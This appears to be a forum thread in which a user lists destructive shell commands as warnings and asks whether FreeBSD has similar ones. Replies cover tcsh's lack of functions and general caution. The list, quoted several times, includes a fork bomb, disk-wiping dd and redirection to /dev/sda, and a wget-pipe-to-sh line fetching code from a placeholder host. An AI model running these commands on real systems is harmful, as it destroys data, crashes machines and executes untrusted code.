Commands of Linux and FreeBSD

Hello,
It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:

:(){:|:&};:

This command works as a "Fork Bomb", it operates defining a function called ':', which is called twice, once in the foreground and other in the background, the process repeats indefinitely until the system crashe

Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:
rm -rf
:(){:|:&};:
> /dev/sda
mv pasta/diretório /dev/null
wget http://malicious_source -O- | sh
dd if=/dev/random of=/dev/sda
Exist also in FreeBSD commands dangerous that you NEVER should to realize?

I try to type ( :(){:|:&};: )

But appears :(){:|:&};:
 
Any command can be dangerous when it's being mis or ab-used. Therefor it's important not to blindly try stuff without knowing what it does.

And to avoid such things you should always use the manualpages, you'll notice that those on FreeBSD are usually far more extensive than those on Linux.
 
Exist also in FreeBSD commands dangerous that you NEVER should to realize?

Doug Gwyn (Maybe) said:
UNIX was not designed to stop its users from doing stupid things, as that would also stop them from doing clever things.

The general rule is that you should not execute a command if you do not understand what it actually does.
 
Hello,
It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:

:(){:|:&};:

This command works as a "Fork Bomb", it operates defining a function called ':', which is called twice, once in the foreground and other in the background, the process repeats indefinitely until the system crashe

Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:
rm -rf
:(){:|:&};:
> /dev/sda
mv pasta/diretório /dev/null
wget http://malicious_source -O- | sh
dd if=/dev/random of=/dev/sda
Exist also in FreeBSD commands dangerous that you NEVER should to realize?

I try to type ( :(){:|:&};: )

But appears :(){:|:&};:
As far as I know, (t)csh does not support this syntax for function declaration. Actually, tcsh(1) does not mention anything about functions at all, though I've found some examples on Google. Tested some. None worked.
If you're using (ba)sh though, it should have worked. But avoid typing these things except for the sole purpose of testing and learning, and in a proper, controlled and safe "sandbox-like" environment such as a Virtualbox VM.
 
As far as I know, (t)csh does not support this syntax for function declaration. Actually, tcsh(1) does not mention anything about functions at all, though I've found some examples on Google. Tested some. None worked.
You are right: tcsh has been designed as an interactive shell and not a programming shell. It doesn't provide any infrastructure for declaring and using functions.
 
Hello,
It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:

:(){:|:&};:

This command works as a "Fork Bomb", it operates defining a function called ':', which is called twice, once in the foreground and other in the background, the process repeats indefinitely until the system crashe

Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:
rm -rf
:(){:|:&};:
> /dev/sda
mv pasta/diretório /dev/null
wget http://malicious_source -O- | sh
dd if=/dev/random of=/dev/sda
Exist also in FreeBSD commands dangerous that you NEVER should to realize?

I try to type ( :(){:|:&};: )

But appears :(){:|:&};:
There are not dangerous commands by themselves, but dangerous uses of them. Shell commands are just a way to make your computer do things.
 
Unix(-like) systems tend to give you lots of opportunities to use, including shooting yourself in the foot.

None of these 'bad' commands are specific to Linux, they're just as bad on FreeBSD, AIX, Solaris, OS-X and every other system.
 
Back
Top